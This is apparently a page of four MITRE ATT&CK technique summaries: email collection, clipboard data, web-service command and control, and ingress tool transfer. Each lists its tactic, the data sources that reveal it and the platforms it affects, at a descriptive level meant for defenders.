Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre